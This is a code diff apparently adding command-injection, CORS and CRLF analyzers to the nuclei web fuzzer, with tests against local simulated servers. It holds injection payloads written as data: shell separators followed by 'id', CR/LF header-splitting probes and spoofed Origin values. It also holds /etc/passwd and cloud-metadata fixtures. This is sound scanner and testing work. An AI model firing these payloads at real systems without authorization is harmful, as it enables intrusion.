func parsedQueryComponent(t *testing.T, req *retryablehttp.Request) component.Component {
|
||||
t.Helper()
|
||||
query := component.NewQuery()
|
||||
parsed, err := query.Parse(req)
|
||||
require.NoError(t, err)
|
||||
require.True(t, parsed)
|
||||
return query.Clone()
|
||||
}
|
||||
|
||||
func parsedCookieComponent(t *testing.T, req *retryablehttp.Request) component.Component {
|
||||
t.Helper()
|
||||
cookies := component.NewCookie()
|
||||
parsed, err := cookies.Parse(req)
|
||||
require.NoError(t, err)
|
||||
require.True(t, parsed)
|
||||
return cookies.Clone()
|
||||
}
|
||||
|
||||
func cookieValue(t *testing.T, req *retryablehttp.Request, name string) string {
|
||||
t.Helper()
|
||||
cookie, err := req.Cookie(name)
|
||||
require.NoError(t, err)
|
||||
return cookie.Value
|
||||
}
|
||||
@@ -0,0 +1,97 @@
|
||||
// Package cmdi implements an in-band OS command injection analyzer for the
|
||||
// fuzzer.
|
||||
//
|
||||
// It appends a set of shell command separators followed by the "id" command and
|
||||
// confirms a hit only when the response contains the unmistakable
|
||||
// "uid=...(...) gid=...(...)" output of a real id execution. Matching actual
|
||||
// command output (rather than payload reflection) is an extremely strong,
|
||||
// low-false-positive RCE signal. Blind command injection is covered by the
|
||||
// time-based analyzer; this one targets the in-band case where output is
|
||||
// reflected.
|
||||
package cmdi
|
||||
|
||||
import (
|
||||
"regexp"
|
||||
"strconv"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/analyzers"
|
||||
)
|
||||
|
||||
const analyzerName = "cmdi"
|
||||
|
||||
// Analyzer implements the analyzers.Analyzer interface for OS command injection.
|
||||
type Analyzer struct{}
|
||||
|
||||
var _ analyzers.Analyzer = &Analyzer{}
|
||||
|
||||
func init() {
|
||||
analyzers.RegisterAnalyzer(analyzerName, &Analyzer{})
|
||||
}
|
||||
|
||||
func (a *Analyzer) Name() string {
|
||||
return analyzerName
|
||||
}
|
||||
|
||||
func (a *Analyzer) ApplyInitialTransformation(data string, params map[string]interface{}) string {
|
||||
return analyzers.ApplyPayloadTransformations(data)
|
||||
}
|
||||
|
||||
// commandSeparators break out of the surrounding shell context in different
|
||||
// ways (sequencing, piping, substitution, newline). Each is suffixed with "id".
|
||||
var commandSeparators = []string{
|
||||
";id",
|
||||
"|id",
|
||||
"||id",
|
||||
"&&id",
|
||||
"&id",
|
||||
"`id`",
|
||||
"$(id)",
|
||||
"\nid",
|
||||
";id;",
|
||||
"|id #",
|
||||
}
|
||||
|
||||
// reIDOutput matches the output of the unix "id" command, e.g.
|
||||
// "uid=0(root) gid=0(root) groups=0(root)".
|
||||
var reIDOutput = regexp.MustCompile(`uid=\d+\([0-9A-Za-z_.\-$]+\)\s+gid=\d+\([0-9A-Za-z_.\-$]+\)`)
|
||||
|
||||
// MatchCommandOutput reports whether the body contains "id" command output. It
|
||||
// is exported and pure for unit-testing without a network.
|
||||
func MatchCommandOutput(body string) bool {
|
||||
if body == "" {
|
||||
return false
|
||||
}
|
||||
return reIDOutput.MatchString(body)
|
||||
}
|
||||
|
||||
// Analyze appends command-injection payloads and reports a hit when id command
|
||||
// output appears in a response but not in the baseline.
|
||||
func (a *Analyzer) Analyze(options *analyzers.Options) (bool, string, error) {
|
||||
if options == nil || options.FuzzGenerated.Component == nil || options.HttpClient == nil {
|
||||
return false, "", nil
|
||||
}
|
||||
gr := options.FuzzGenerated
|
||||
|
||||
defer func() {
|
||||
_ = gr.Component.SetValue(gr.Key, gr.OriginalValue)
|
||||
}()
|
||||
|
||||
baselineBody, err := analyzers.SendValueAndReadBody(options, gr.OriginalValue)
|
||||
if err != nil {
|
||||
return false, "", err
|
||||
}
|
||||
if MatchCommandOutput(baselineBody) {
|
||||
return false, "", nil
|
||||
}
|
||||
|
||||
for _, sep := range commandSeparators {
|
||||
body, err := analyzers.SendValueAndReadBody(options, gr.OriginalValue+sep)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if MatchCommandOutput(body) {
|
||||
return true, "cmdi: id command output observed via payload " + strconv.Quote(sep), nil
|
||||
}
|
||||
}
|
||||
return false, "", nil
|
||||
}
|
||||
@@ -0,0 +1,70 @@
|
||||
package cmdi
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/analyzers"
|
||||
"github.com/stretchr/testify/require"
|
||||
)
|
||||
|
||||
func TestAnalyzerRegistered(t *testing.T) {
|
||||
require.NotNil(t, analyzers.GetAnalyzer("cmdi"))
|
||||
require.Equal(t, "cmdi", (&Analyzer{}).Name())
|
||||
}
|
||||
|
||||
func TestMatchCommandOutput(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
body string
|
||||
want bool
|
||||
}{
|
||||
{
|
||||
name: "classic root id output",
|
||||
body: `uid=0(root) gid=0(root) groups=0(root)`,
|
||||
want: true,
|
||||
},
|
||||
{
|
||||
name: "non-root id output embedded in html",
|
||||
body: `<pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)</pre>`,
|
||||
want: true,
|
||||
},
|
||||
{
|
||||
name: "id output with extra spacing",
|
||||
body: "uid=1000(deploy) gid=1000(deploy) groups=1000(deploy),27(sudo)",
|
||||
want: true,
|
||||
},
|
||||
{
|
||||
name: "reflected payload but no execution",
|
||||
body: `You searched for: ;id - no results found`,
|
||||
want: false,
|
||||
},
|
||||
{
|
||||
name: "benign body",
|
||||
body: `<html><body>welcome</body></html>`,
|
||||
want: false,
|
||||
},
|
||||
{
|
||||
name: "uid mentioned without gid structure",
|
||||
body: `the uid=5 field is set`,
|
||||
want: false,
|
||||
},
|
||||
{
|
||||
name: "empty body",
|
||||
body: ``,
|
||||
want: false,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tc := range tests {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
require.Equal(t, tc.want, MatchCommandOutput(tc.body))
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestCommandSeparatorsNonEmpty(t *testing.T) {
|
||||
require.NotEmpty(t, commandSeparators)
|
||||
for _, s := range commandSeparators {
|
||||
require.NotEmpty(t, s)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,110 @@
|
||||
// Package cors implements a CORS misconfiguration analyzer for the fuzzer.
|
||||
//
|
||||
// For the generated request it replays the request with attacker-controlled
|
||||
// Origin headers (a random canary origin, the "null" origin, and a
|
||||
// target-suffix origin that defeats naive endsWith checks) and flags a
|
||||
// misconfiguration when the server reflects that arbitrary origin back in
|
||||
// Access-Control-Allow-Origin. Reflection together with
|
||||
// Access-Control-Allow-Credentials: true is reported as the more severe,
|
||||
// credential-exposing variant.
|
||||
package cors
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"strings"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/analyzers"
|
||||
)
|
||||
|
||||
const analyzerName = "cors"
|
||||
|
||||
// Analyzer implements the analyzers.Analyzer interface for CORS misconfig.
|
||||
type Analyzer struct{}
|
||||
|
||||
var _ analyzers.Analyzer = &Analyzer{}
|
||||
|
||||
func init() {
|
||||
analyzers.RegisterAnalyzer(analyzerName, &Analyzer{})
|
||||
}
|
||||
|
||||
func (a *Analyzer) Name() string {
|
||||
return analyzerName
|
||||
}
|
||||
|
||||
func (a *Analyzer) ApplyInitialTransformation(data string, params map[string]interface{}) string {
|
||||
return analyzers.ApplyPayloadTransformations(data)
|
||||
}
|
||||
|
||||
// TestOrigins returns the attacker origins to probe. targetHost (may be empty)
|
||||
// is used to build a suffix-bypass origin. It is exported and pure for testing.
|
||||
func TestOrigins(targetHost, canaryOrigin string) []string {
|
||||
origins := []string{canaryOrigin, "null"}
|
||||
if targetHost != "" {
|
||||
// "https://<target>.attacker" defeats endsWith(target) checks; the
|
||||
// reverse defeats startsWith(target) checks.
|
||||
origins = append(origins,
|
||||
"https://"+targetHost+".corscanary.example",
|
||||
"https://corscanary.example/"+targetHost,
|
||||
)
|
||||
}
|
||||
return origins
|
||||
}
|
||||
|
||||
// AnalyzeCORS reports whether the response reflects sentOrigin in
|
||||
// Access-Control-Allow-Origin. It is exported and pure for testability.
|
||||
func AnalyzeCORS(h http.Header, sentOrigin string) (string, bool) {
|
||||
if h == nil || sentOrigin == "" {
|
||||
return "", false
|
||||
}
|
||||
acao := strings.TrimSpace(h.Get("Access-Control-Allow-Origin"))
|
||||
if acao == "" {
|
||||
return "", false
|
||||
}
|
||||
if !strings.EqualFold(acao, sentOrigin) {
|
||||
return "", false
|
||||
}
|
||||
withCreds := strings.EqualFold(strings.TrimSpace(h.Get("Access-Control-Allow-Credentials")), "true")
|
||||
if withCreds {
|
||||
return "reflects arbitrary Origin with Access-Control-Allow-Credentials: true", true
|
||||
}
|
||||
return "reflects arbitrary Origin", true
|
||||
}
|
||||
|
||||
// Analyze replays the request with attacker origins and reports CORS reflection.
|
||||
func (a *Analyzer) Analyze(options *analyzers.Options) (bool, string, error) {
|
||||
if options == nil || options.FuzzGenerated.Component == nil || options.HttpClient == nil {
|
||||
return false, "", nil
|
||||
}
|
||||
gr := options.FuzzGenerated
|
||||
|
||||
targetHost := ""
|
||||
if gr.Request != nil && gr.Request.URL != nil {
|
||||
targetHost = gr.Request.Hostname()
|
||||
}
|
||||
canary := "https://" + analyzers.RandToken(10) + ".corscanary.example"
|
||||
|
||||
defer func() {
|
||||
_ = gr.Component.SetValue(gr.Key, gr.OriginalValue)
|
||||
}()
|
||||
|
||||
for _, origin := range TestOrigins(targetHost, canary) {
|
||||
// rebuild a benign request (original value) and only vary the Origin
|
||||
rebuilt, err := analyzers.SetValueAndRebuild(gr, gr.OriginalValue)
|
||||
if err != nil {
|
||||
return false, "", err
|
||||
}
|
||||
rebuilt.Header.Set("Origin", origin)
|
||||
|
||||
options.RateLimit()
|
||||
resp, err := options.HttpClient.Do(rebuilt)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
reason, vuln := AnalyzeCORS(resp.Header, origin)
|
||||
_ = resp.Body.Close()
|
||||
if vuln {
|
||||
return true, "cors: " + reason + " (Origin: " + origin + ")", nil
|
||||
}
|
||||
}
|
||||
return false, "", nil
|
||||
}
|
||||
@@ -0,0 +1,82 @@
|
||||
package cors
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"testing"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/analyzers"
|
||||
"github.com/stretchr/testify/require"
|
||||
)
|
||||
|
||||
func TestAnalyzerRegistered(t *testing.T) {
|
||||
require.NotNil(t, analyzers.GetAnalyzer("cors"))
|
||||
require.Equal(t, "cors", (&Analyzer{}).Name())
|
||||
}
|
||||
|
||||
func TestTestOrigins(t *testing.T) {
|
||||
const canary = "https://abc.corscanary.example"
|
||||
|
||||
noHost := TestOrigins("", canary)
|
||||
require.Contains(t, noHost, canary)
|
||||
require.Contains(t, noHost, "null")
|
||||
|
||||
withHost := TestOrigins("app.example.com", canary)
|
||||
require.Contains(t, withHost, "https://app.example.com.corscanary.example")
|
||||
require.Greater(t, len(withHost), len(noHost))
|
||||
}
|
||||
|
||||
func TestAnalyzeCORS(t *testing.T) {
|
||||
const origin = "https://abc.corscanary.example"
|
||||
|
||||
t.Run("reflected origin with credentials is critical", func(t *testing.T) {
|
||||
h := http.Header{}
|
||||
h.Set("Access-Control-Allow-Origin", origin)
|
||||
h.Set("Access-Control-Allow-Credentials", "true")
|
||||
reason, vuln := AnalyzeCORS(h, origin)
|
||||
require.True(t, vuln)
|
||||
require.Contains(t, reason, "Credentials")
|
||||
})
|
||||
|
||||
t.Run("reflected origin without credentials still flagged", func(t *testing.T) {
|
||||
h := http.Header{}
|
||||
h.Set("Access-Control-Allow-Origin", origin)
|
||||
reason, vuln := AnalyzeCORS(h, origin)
|
||||
require.True(t, vuln)
|
||||
require.NotContains(t, reason, "Credentials")
|
||||
})
|
||||
|
||||
t.Run("null origin reflected", func(t *testing.T) {
|
||||
h := http.Header{}
|
||||
h.Set("Access-Control-Allow-Origin", "null")
|
||||
_, vuln := AnalyzeCORS(h, "null")
|
||||
require.True(t, vuln)
|
||||
})
|
||||
|
||||
t.Run("wildcard is not flagged as origin reflection", func(t *testing.T) {
|
||||
h := http.Header{}
|
||||
h.Set("Access-Control-Allow-Origin", "*")
|
||||
_, vuln := AnalyzeCORS(h, origin)
|
||||
require.False(t, vuln)
|
||||
})
|
||||
|
||||
t.Run("legit origin echoing back our canary not present", func(t *testing.T) {
|
||||
h := http.Header{}
|
||||
h.Set("Access-Control-Allow-Origin", "https://trusted.example.com")
|
||||
_, vuln := AnalyzeCORS(h, origin)
|
||||
require.False(t, vuln)
|
||||
})
|
||||
|
||||
t.Run("no ACAO header", func(t *testing.T) {
|
||||
h := http.Header{}
|
||||
h.Set("Content-Type", "application/json")
|
||||
_, vuln := AnalyzeCORS(h, origin)
|
||||
require.False(t, vuln)
|
||||
})
|
||||
|
||||
t.Run("nil and empty inputs are safe", func(t *testing.T) {
|
||||
_, vuln := AnalyzeCORS(nil, origin)
|
||||
require.False(t, vuln)
|
||||
_, vuln = AnalyzeCORS(http.Header{}, "")
|
||||
require.False(t, vuln)
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,118 @@
|
||||
// Package crlf implements a CRLF-injection / HTTP response-splitting analyzer
|
||||
// for the fuzzer.
|
||||
//
|
||||
// It injects carriage-return/line-feed sequences followed by a uniquely named
|
||||
// canary header (and a canary Set-Cookie) and confirms a hit only when that
|
||||
// exact header/cookie appears in the response. Because the header name and
|
||||
// value are random, a match means user input broke out of its context into the
|
||||
// response header section — a true CRLF injection with no baseline needed.
|
||||
//
|
||||
// Payloads use raw CR/LF characters (not pre-encoded "%0d%0a"). The request
|
||||
// rebuild percent-encodes URL/query components exactly once, so the server
|
||||
// receives a single layer of encoding; pre-encoding here would double-encode.
|
||||
package crlf
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/analyzers"
|
||||
)
|
||||
|
||||
const analyzerName = "crlf"
|
||||
|
||||
// Analyzer implements the analyzers.Analyzer interface for CRLF injection.
|
||||
type Analyzer struct{}
|
||||
|
||||
var _ analyzers.Analyzer = &Analyzer{}
|
||||
|
||||
func init() {
|
||||
analyzers.RegisterAnalyzer(analyzerName, &Analyzer{})
|
||||
}
|
||||
|
||||
func (a *Analyzer) Name() string {
|
||||
return analyzerName
|
||||
}
|
||||
|
||||
func (a *Analyzer) ApplyInitialTransformation(data string, params map[string]interface{}) string {
|
||||
return analyzers.ApplyPayloadTransformations(data)
|
||||
}
|
||||
|
||||
// GenerateProbes builds CRLF payloads that attempt to inject headerName/value
|
||||
// and a Set-Cookie carrying value. It is exported and pure for testability.
|
||||
func GenerateProbes(headerName, value string) []string {
|
||||
hdr := headerName + ": " + value
|
||||
cookie := "Set-Cookie: crlf=" + value
|
||||
return []string{
|
||||
"\r\n" + hdr,
|
||||
"\r\n\r\n" + hdr,
|
||||
"\n" + hdr,
|
||||
"\r" + hdr,
|
||||
"\r\n" + cookie,
|
||||
// trailing comment/space variants seen in real-world bypasses
|
||||
" \r\n" + hdr,
|
||||
}
|
||||
}
|
||||
|
||||
// DetectInjection reports whether the canary header (name/value) or a
|
||||
// Set-Cookie carrying value is present in the response headers. It is exported
|
||||
// and pure so it can be unit-tested without a network.
|
||||
func DetectInjection(h http.Header, headerName, value string) bool {
|
||||
if h == nil || headerName == "" || value == "" {
|
||||
return false
|
||||
}
|
||||
if strings.TrimSpace(h.Get(headerName)) == value {
|
||||
return true
|
||||
}
|
||||
resp := &http.Response{Header: h}
|
||||
for _, cookie := range resp.Cookies() {
|
||||
if cookie.Name == "crlf" && cookie.Value == value {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// Analyze injects CRLF payloads and reports whether the canary header or cookie
|
||||
// surfaced in the response headers.
|
||||
func (a *Analyzer) Analyze(options *analyzers.Options) (bool, string, error) {
|
||||
if options == nil || options.FuzzGenerated.Component == nil || options.HttpClient == nil {
|
||||
return false, "", nil
|
||||
}
|
||||
gr := options.FuzzGenerated
|
||||
headerName := "X-Crlf-" + randomToken()
|
||||
value := randomToken()
|
||||
|
||||
defer func() {
|
||||
_ = gr.Component.SetValue(gr.Key, gr.OriginalValue)
|
||||
}()
|
||||
|
||||
for _, payload := range GenerateProbes(headerName, value) {
|
||||
// keep the original value so server-side processing still runs, then
|
||||
// append the breakout payload.
|
||||
rebuilt, err := analyzers.SetValueAndRebuild(gr, gr.OriginalValue+payload)
|
||||
if err != nil {
|
||||
// some components (e.g. headers) reject raw CR/LF at build time;
|
||||
// skip rather than aborting the whole analysis.
|
||||
continue
|
||||
}
|
||||
options.RateLimit()
|
||||
resp, err := options.HttpClient.Do(rebuilt)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
hit := DetectInjection(resp.Header, headerName, value)
|
||||
_ = resp.Body.Close()
|
||||
if hit {
|
||||
return true, "crlf: injected response header surfaced via payload " + strconv.Quote(payload), nil
|
||||
}
|
||||
}
|
||||
return false, "", nil
|
||||
}
|
||||
|
||||
// randomToken returns a 10-char lowercase alphanumeric token used for the
|
||||
// canary header name/value. It delegates to the shared analyzers RNG.
|
||||
func randomToken() string {
|
||||
return analyzers.RandToken(10)
|
||||
}
|
||||
@@ -0,0 +1,79 @@
|
||||
package crlf
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/analyzers"
|
||||
"github.com/stretchr/testify/require"
|
||||
)
|
||||
|
||||
func TestAnalyzerRegistered(t *testing.T) {
|
||||
require.NotNil(t, analyzers.GetAnalyzer("crlf"))
|
||||
require.Equal(t, "crlf", (&Analyzer{}).Name())
|
||||
}
|
||||
|
||||
func TestGenerateProbes(t *testing.T) {
|
||||
probes := GenerateProbes("X-Crlf-abc", "deadbeef")
|
||||
require.NotEmpty(t, probes)
|
||||
for _, p := range probes {
|
||||
require.True(t, strings.ContainsAny(p, "\r\n"), "every probe must carry a CR or LF")
|
||||
require.Contains(t, p, "deadbeef")
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectInjection(t *testing.T) {
|
||||
const (
|
||||
name = "X-Crlf-abc"
|
||||
value = "deadbeef"
|
||||
)
|
||||
|
||||
t.Run("injected header present", func(t *testing.T) {
|
||||
h := http.Header{}
|
||||
h.Set(name, value)
|
||||
require.True(t, DetectInjection(h, name, value))
|
||||
})
|
||||
|
||||
t.Run("header name canonicalization still matches", func(t *testing.T) {
|
||||
h := http.Header{}
|
||||
// server emits lowercase, Go canonicalizes on read
|
||||
h["X-Crlf-Abc"] = []string{value}
|
||||
require.True(t, DetectInjection(h, name, value))
|
||||
})
|
||||
|
||||
t.Run("injected Set-Cookie present", func(t *testing.T) {
|
||||
h := http.Header{}
|
||||
h.Add("Set-Cookie", "crlf="+value+"; Path=/")
|
||||
require.True(t, DetectInjection(h, name, value))
|
||||
})
|
||||
|
||||
t.Run("different value is not a hit", func(t *testing.T) {
|
||||
h := http.Header{}
|
||||
h.Set(name, "somethingelse")
|
||||
require.False(t, DetectInjection(h, name, value))
|
||||
})
|
||||
|
||||
t.Run("canary in unrelated cookie is not a hit", func(t *testing.T) {
|
||||
h := http.Header{}
|
||||
h.Add("Set-Cookie", "session="+value+"; Path=/")
|
||||
require.False(t, DetectInjection(h, name, value))
|
||||
})
|
||||
|
||||
t.Run("absent header is not a hit", func(t *testing.T) {
|
||||
h := http.Header{}
|
||||
h.Set("Content-Type", "text/html")
|
||||
require.False(t, DetectInjection(h, name, value))
|
||||
})
|
||||
|
||||
t.Run("nil and empty inputs are safe", func(t *testing.T) {
|
||||
require.False(t, DetectInjection(nil, name, value))
|
||||
require.False(t, DetectInjection(http.Header{}, "", value))
|
||||
require.False(t, DetectInjection(http.Header{}, name, ""))
|
||||
})
|
||||
}
|
||||
|
||||
func TestRandomToken(t *testing.T) {
|
||||
require.NotEqual(t, randomToken(), randomToken())
|
||||
require.Len(t, randomToken(), 10)
|
||||
}
|
||||
@@ -0,0 +1,62 @@
|
||||
// Baseline-guard tests for the baseline-diffing analyzers (sqli, lfi, ssrf,
|
||||
// cmdi). Each of those analyzers first issues a request with the ORIGINAL value
|
||||
// and bails out if the vulnerability signature is already present — otherwise a
|
||||
// page that always shows e.g. a SQL error or a "uid=" string would be a false
|
||||
// positive. These tests stand up servers that emit the signature
|
||||
// UNCONDITIONALLY (even for the untouched original value) and assert the
|
||||
// analyzer reports nothing.
|
||||
package e2e
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
|
||||
"github.com/stretchr/testify/require"
|
||||
)
|
||||
|
||||
func TestSQLi_BaselineGuard_E2E(t *testing.T) {
|
||||
// Always returns a MySQL error, even for the benign original value.
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
_, _ = fmt.Fprint(w, "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax")
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
matched, _ := run(t, "sqli_error", newGeneratedRequest(t, srv.URL, "q", "test"), newClient(true))
|
||||
require.False(t, matched, "sqli must not fire when the DBMS error is present in the baseline already")
|
||||
}
|
||||
|
||||
func TestLFI_BaselineGuard_E2E(t *testing.T) {
|
||||
// Always returns /etc/passwd content regardless of the input.
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
_, _ = fmt.Fprint(w, "root:x:0:0:root:/root:/bin/bash\n")
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
matched, _ := run(t, "lfi", newGeneratedRequest(t, srv.URL, "q", "home.txt"), newClient(true))
|
||||
require.False(t, matched, "lfi must not fire when the file signature is present in the baseline already")
|
||||
}
|
||||
|
||||
func TestSSRF_BaselineGuard_E2E(t *testing.T) {
|
||||
// Always returns the AWS instance identity document regardless of the input.
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
_, _ = fmt.Fprint(w, `{"accountId":"123456789012","imageId":"ami-0abcd1234ef567890","instanceId":"i-0abcd1234ef567890","region":"us-east-1"}`)
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
matched, _ := run(t, "ssrf", newGeneratedRequest(t, srv.URL, "q", "https://example.com/a.png"), newClient(true))
|
||||
require.False(t, matched, "ssrf must not fire when the metadata signature is present in the baseline already")
|
||||
}
|
||||
|
||||
func TestCMDi_BaselineGuard_E2E(t *testing.T) {
|
||||
// Always returns command output regardless of input (e.g. a page that
|
||||
// legitimately prints a "uid=" string).
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
_, _ = fmt.Fprint(w, "current identity: uid=0(root) gid=0(root) groups=0(root)")
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
matched, _ := run(t, "cmdi", newGeneratedRequest(t, srv.URL, "q", "127.0.0.1"), newClient(true))
|
||||
require.False(t, matched, "cmdi must not fire when command output is present in the baseline already")
|
||||
}
|
||||
@@ -0,0 +1,546 @@
|
||||
// Package e2e contains end-to-end tests for every fuzzer analyzer. Each test
|
||||
// spins up an httptest server that genuinely simulates the target vulnerability
|
||||
// (and a benign variant for false-positive checks), builds a real fuzz
|
||||
// GeneratedRequest from a real query Component, and drives the registered
|
||||
// analyzer's full Analyze() path through a real retryablehttp client.
|
||||
//
|
||||
// This exercises the production code paths end to end: registration, value
|
||||
// mutation, request rebuild + auth-header preservation, transport, and
|
||||
// response analysis — not just the pure detection helpers.
|
||||
package e2e
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"net/url"
|
||||
"regexp"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/fuzz"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/analyzers"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/component"
|
||||
"github.com/projectdiscovery/retryablehttp-go"
|
||||
"github.com/stretchr/testify/require"
|
||||
|
||||
// register every analyzer under test
|
||||
_ "github.com/projectdiscovery/nuclei/v3/pkg/fuzz/analyzers/cmdi"
|
||||
_ "github.com/projectdiscovery/nuclei/v3/pkg/fuzz/analyzers/cors"
|
||||
_ "github.com/projectdiscovery/nuclei/v3/pkg/fuzz/analyzers/crlf"
|
||||
_ "github.com/projectdiscovery/nuclei/v3/pkg/fuzz/analyzers/hostheader"
|
||||
_ "github.com/projectdiscovery/nuclei/v3/pkg/fuzz/analyzers/lfi"
|
||||
_ "github.com/projectdiscovery/nuclei/v3/pkg/fuzz/analyzers/redirect"
|
||||
_ "github.com/projectdiscovery/nuclei/v3/pkg/fuzz/analyzers/sqli"
|
||||
_ "github.com/projectdiscovery/nuclei/v3/pkg/fuzz/analyzers/ssrf"
|
||||
_ "github.com/projectdiscovery/nuclei/v3/pkg/fuzz/analyzers/ssti"
|
||||
)
|
||||
|
||||
// newClient builds a retryablehttp client; when follow is false redirects are
|
||||
// not followed (matching nuclei's default), so the Location header is visible.
|
||||
func newClient(follow bool) *retryablehttp.Client {
|
||||
c := retryablehttp.NewClient(retryablehttp.DefaultOptionsSingle)
|
||||
if !follow {
|
||||
c.HTTPClient.CheckRedirect = func(req *http.Request, via []*http.Request) error {
|
||||
return http.ErrUseLastResponse
|
||||
}
|
||||
}
|
||||
return c
|
||||
}
|
||||
|
||||
// newGeneratedRequest builds a real GeneratedRequest fuzzing the "q" query
|
||||
// parameter of the given server, using the production query Component.
|
||||
func newGeneratedRequest(t *testing.T, serverURL, key, origValue string) fuzz.GeneratedRequest {
|
||||
t.Helper()
|
||||
target := serverURL + "/?" + key + "=" + url.QueryEscape(origValue)
|
||||
raw, err := retryablehttp.NewRequest(http.MethodGet, target, nil)
|
||||
require.NoError(t, err)
|
||||
|
||||
q := component.NewQuery()
|
||||
parsed, err := q.Parse(raw)
|
||||
require.NoError(t, err)
|
||||
require.True(t, parsed, "query component must parse")
|
||||
|
||||
return fuzz.GeneratedRequest{
|
||||
Request: raw,
|
||||
Component: q,
|
||||
Parameter: key,
|
||||
Key: key,
|
||||
Value: origValue,
|
||||
OriginalValue: origValue,
|
||||
}
|
||||
}
|
||||
|
||||
// run fetches the named analyzer and runs Analyze against the given request.
|
||||
func run(t *testing.T, name string, gr fuzz.GeneratedRequest, client *retryablehttp.Client) (bool, string) {
|
||||
t.Helper()
|
||||
a := analyzers.GetAnalyzer(name)
|
||||
require.NotNil(t, a, "analyzer %q must be registered", name)
|
||||
matched, reason, err := a.Analyze(&analyzers.Options{
|
||||
FuzzGenerated: gr,
|
||||
HttpClient: client,
|
||||
})
|
||||
require.NoError(t, err)
|
||||
return matched, reason
|
||||
}
|
||||
|
||||
func qparam(r *http.Request) string { return r.URL.Query().Get("q") }
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// SSTI
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
// reTpl emulates a template engine: it matches an arithmetic expression wrapped
|
||||
// in a delimiter pair (EL ${}, Jinja {{}}, #{}, *{}, Razor @(), ERB <%= %>,
|
||||
// Smarty {}) and replaces the WHOLE delimited expression with its product, the
|
||||
// way a real engine would — so the surrounding sentinels become adjacent to the
|
||||
// computed value.
|
||||
var reTpl = regexp.MustCompile(`(?:\$\{|\{\{|#\{|\*\{|@\(|<%=|\{)\s*(\d+)\s*\*\s*(\d+)\s*(?:\}\}|%>|\}|\))`)
|
||||
|
||||
func TestSSTI_E2E(t *testing.T) {
|
||||
vuln := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
out := reTpl.ReplaceAllStringFunc(qparam(r), func(m string) string {
|
||||
sub := reTpl.FindStringSubmatch(m)
|
||||
return fmt.Sprintf("%d", atoi(sub[1])*atoi(sub[2]))
|
||||
})
|
||||
_, _ = fmt.Fprintf(w, "<html><body>%s</body></html>", out)
|
||||
}))
|
||||
defer vuln.Close()
|
||||
|
||||
matched, reason := run(t, "ssti", newGeneratedRequest(t, vuln.URL, "q", "test"), newClient(true))
|
||||
require.True(t, matched, "ssti should be detected on evaluating server")
|
||||
require.Contains(t, reason, "ssti")
|
||||
|
||||
// benign server reflects the payload verbatim (no evaluation)
|
||||
benign := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
_, _ = fmt.Fprintf(w, "<html><body>%s</body></html>", qparam(r))
|
||||
}))
|
||||
defer benign.Close()
|
||||
|
||||
matched, _ = run(t, "ssti", newGeneratedRequest(t, benign.URL, "q", "test"), newClient(true))
|
||||
require.False(t, matched, "ssti must not fire when payload is only reflected")
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// SQL injection (error-based)
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
func TestSQLi_E2E(t *testing.T) {
|
||||
vuln := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
q := qparam(r)
|
||||
if strings.ContainsAny(q, "'\"`\\") {
|
||||
w.WriteHeader(http.StatusInternalServerError)
|
||||
_, _ = fmt.Fprint(w, "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''")
|
||||
return
|
||||
}
|
||||
_, _ = fmt.Fprint(w, "ok")
|
||||
}))
|
||||
defer vuln.Close()
|
||||
|
||||
matched, reason := run(t, "sqli_error", newGeneratedRequest(t, vuln.URL, "q", "test"), newClient(true))
|
||||
